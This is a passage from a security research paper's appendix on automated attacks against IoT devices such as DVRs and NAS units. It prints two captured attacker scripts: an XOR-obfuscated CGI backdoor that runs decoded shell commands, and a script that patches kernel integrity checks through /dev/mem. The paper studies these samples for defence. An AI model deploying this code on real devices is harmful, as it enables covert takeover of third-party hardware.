with a random string and retrieving it. (ii) Exploitation. The



1 <?xml version="1.0" ?>
2 <Message Version="1">
3 <Header>
4 <ntp_cfg ntp_srv="time.nist.gov" ntp_enable="0"

interval="86400" tz_hour="0" tz_minute="0" />↪→
5 </Header>
6 </Message>

Listing 2: Example of Faraday proprietary protocol payload.

Table 8: Interval Times Between Devices Responses and
Attackers Next Requests.

Target Device Avg. Time (s) Med. Time (s)

Xiongmai AHB8008T 2.11 1.56
D-Link DNS-320L 3.21 2.37

TBK DVR 3.62 2.69
Dahua DH-IPC-Hx 3.18 2.77

Samsung DVR 3.49 2.90
Faraday DVR 3.70 3.63

attacker uses command injection to implant a backdoor in the
index.cgi file as illustrated in Listing 1, and verifies it with
a malformed echo request.

B.3 Rampant Infiltration in Tor
Analyzing the intervals between device responses and attack-
ers’ requests, we found consistent times of 2–4 seconds across
devices, as presented in Table 8. Such precise intervals, even
with Tor-induced delays, suggest automation rather than man-
ual execution. This automation enables swift, methodical
actions, maintaining momentum and reducing detection risks.

C Executable Scripts Examples

C.1 Backdoor CGI with Crypto Functions
The script demonstrates polymorphic payload obfuscation
using XOR encoding. When the request URI matches
/cgi-bin/dev_devinfo/info, the obfuscation function F
is triggered. F encodes input data using a predefined key
A, which the attacker can modify to vary encryption. Each
character is XORed with the corresponding key value, produc-
ing an obfuscated payload that is harder to detect or analyze
without the key.

1 #!/bin/sh
2 if [ "$REQUEST_URI" = "/cgi-bin/dev_devinfo/info" ]
3 then
4 echo -e Content-Type: text/html\\n
5 F () {
6 G=""
7 local i=0
8 while [ $i -lt $3 ]
9 do

10 local D=$(/bin/busybox printf "%d" "'$(expr substr "$1"
"$(($i + 1))" 1)")↪→

11 local C=$(/bin/busybox printf "%d" "'$(expr substr "$2"
"$(($i % $B + 1))" 1)")↪→

12 if [ $D -eq 128 ]
13 then

14 local D=127
15 fi
16 if [ $4 -eq 0 ]
17 then
18 G="$G$(/bin/busybox printf \\$(/bin/busybox printf '%03o'

$(($D ^ $C))))"↪→
19 else
20 printf \\$(/bin/busybox printf '%03o' "$(($D ^ $C))")
21 fi
22 i=$(($i+1))
23 done
24 }
25

26 A="$(/bin/busybox printf "\x16\x1c\x8\x1e\xe\xb\x17\x6\x10...")"
27 B=$(expr length "$A")
28 E="$(cat)"
29 F "$E" "$A" $(expr length "$E") 0
30 H="$( /bin/sh -c "$G")"
31 F "$H" "$A" $(expr length "$H") 1
32 exit 0
33 fi
34 ...

C.2 Kernel Symbol Integrity Bypass
The script achieves persistence and stealth on Dahua DVR
devices by manipulating memory addresses. Attackers lo-
cate kernel symbols (elfcheck, reliableverify), calcu-
late their physical addresses, and use the dd command to alter
their behavior.

1 #!/bin/sh
2 DEBUG="echo"
3 input_file="/var/tmp/in"
4 ret_0_bytes="\x00\x00\xa0\xe3\x1e\xff/\xe1"
5 rm $0
6

7 base_addr_physical=$((0x$(cat /proc/iomem | grep "Kernel code"
| awk 'NR==1 {print $1}' | awk -F '-' '{print $1}')))↪→

8

9 stext_addr=$((0x$(grep _stext /proc/kallsyms | awk 'NR==1 {print
$1}')))↪→

10 base_addr_virtual=$(((stext_addr / 0x1000) * 0x1000))
11 offset=$(($base_addr_physical-$base_addr_virtual))
12 elfcheck_flag=$(grep elfcheck /proc/kallsyms | awk -F ' '

'{print $2}' | grep B)↪→
13

14 if [ $elfcheck_flag ]
15 then
16 symbol_addr_virtual=$((0x$(grep elfcheck /proc/kallsyms |

awk -F ' ' '{print $1 " " $2}' | grep B | awk 'NR==1
{print $1}')))

↪→
↪→

17 write_bytes=4
18 echo "\x00\x00\x00\x00" > $input_file
19 else
20 symbol_addr_virtual=$((0x$(grep reliableverify

/proc/kallsyms | awk -F ' ' 'NR==1 {print $1}')))↪→
21 write_bytes=8
22 echo $ret_0_bytes > $input_file
23 fi
24 symbol_real_addr=$(($symbol_addr_virtual+offset))
25 dd if=$input_file of=/dev/mem bs=1 count=$write_bytes

seek=$symbol_real_addr↪→
26 rm -f $input_file
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